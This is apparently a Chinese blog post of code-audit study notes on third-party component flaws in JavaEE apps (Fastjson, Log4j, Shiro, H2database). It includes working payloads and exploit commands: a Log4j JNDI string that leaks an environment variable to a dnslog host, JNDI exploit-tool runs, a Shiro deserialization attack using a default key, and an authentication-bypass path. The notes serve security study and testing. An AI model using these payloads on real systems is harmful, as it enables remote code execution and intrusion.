代码审计-JavaEE开发篇&第三方组件&依赖库挖掘&FastJson&Shrio&Log4j&H2DB

Ethan医生2个月前代码审计75

#JavaEE审计-第三方组件安全

1、找存在漏洞的第三方组件(Package Checker插件)

2、找组件漏洞利用入口条件(根据网上已知漏洞复现条件)

3、找可控地方进行测试检测(根据网上已知漏洞利用条件)

 

常见第三方组件或框架漏洞列表:

Solr Shiro Fastjson Jackson Log4j SnakeYaml Hessian H2database

XsteamDruidStruts2FlinkFlumeDubboRedisLogstashElasticSearchKafkaGhidraMinecraftHiveDataxStreamingDolphin SchedulerStormSpring等。



#Tmall-Fastjson 1.2.58

触发点:JSON.parseObject() JSON.parse()

全局搜索->JSON.parseObject()->propertyJson->admin/product

{"@type":"java.net.Inet4Address","val":"gc6gcn.dnslog.cn"}

 

#Tmall-Log4j 2.10.0

触发点:logger.error logger.info

全局搜索->logger.info->originalFileName->admin/uploadAdminHeadImage

${jndi:ldap://${env:OS}.mq6bqf.dnslog.cn}

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"

 

#Ruoyi-Shiro 1.4.2

1、反序列化:

setCipherKey->fCq+/xW488hMTCD+cmJ3aQ==

https://github.com/Ares-X/shiro-exploit

python shiro-exploit.py check -u http://192.168.1.2/

python shiro-exploit.py echo -g CommonsCollectionsK1 -u http://192.168.1.2/ -v 2 -k fCq+/xW488hMTCD+cmJ3aQ== -c whoami

 

2、权限绕过:

-anon为匿名拦截器,不需要登录就能访问,一般用于静态资源,或者移动端接口

-authc为登录拦截器,需要登录认证才能访问的资源。

例子:

[urls]

/index.html = anon 允许访问

/user/** = authc 需要验证

shiro匹配规则

?:匹配一个字符

*:匹配零个或多个字符串

**:匹配路径中的零个或多个路径

配置:com/ruoyi/framework/config/ShiroConfig.java

绕过:https://www.freebuf.com/vuls/231909.html

测试:/ajax;/../common/download/resource?resource=/profile/1.txt

 

#Halo-H2database 1.4.197

H2database->application.yaml->web-allow-others: true

javax.naming.InitialContext

ldap://192.168.139.1:1389/5eebf8

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"


相关文章

JavaEE开发篇&FastJson反序列化&利用链跟踪&动态调试&autoType绕过

JavaEE开发篇&FastJson反序列化&利用链跟踪&动态调试&autoType绕过

#FastJson反序列化链知识点1、为什么触发方法会存在反序列化?2、利用链为什么要那样写才能触发?3、高版本中有哪些防御手段又怎么绕过的? #FastJson反序列化链分析基础参考:ht...

开发组件安全&Jackson&FastJson各版本&XStream&CVE环境复现

黑盒检测:Java应用 请求参数数据以json/xml格式发送测试黑盒判断:通过提交数据报错信息得到什么组件xml格式(xstream) 或 json 格式(fastjson jackson)白盒:直...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。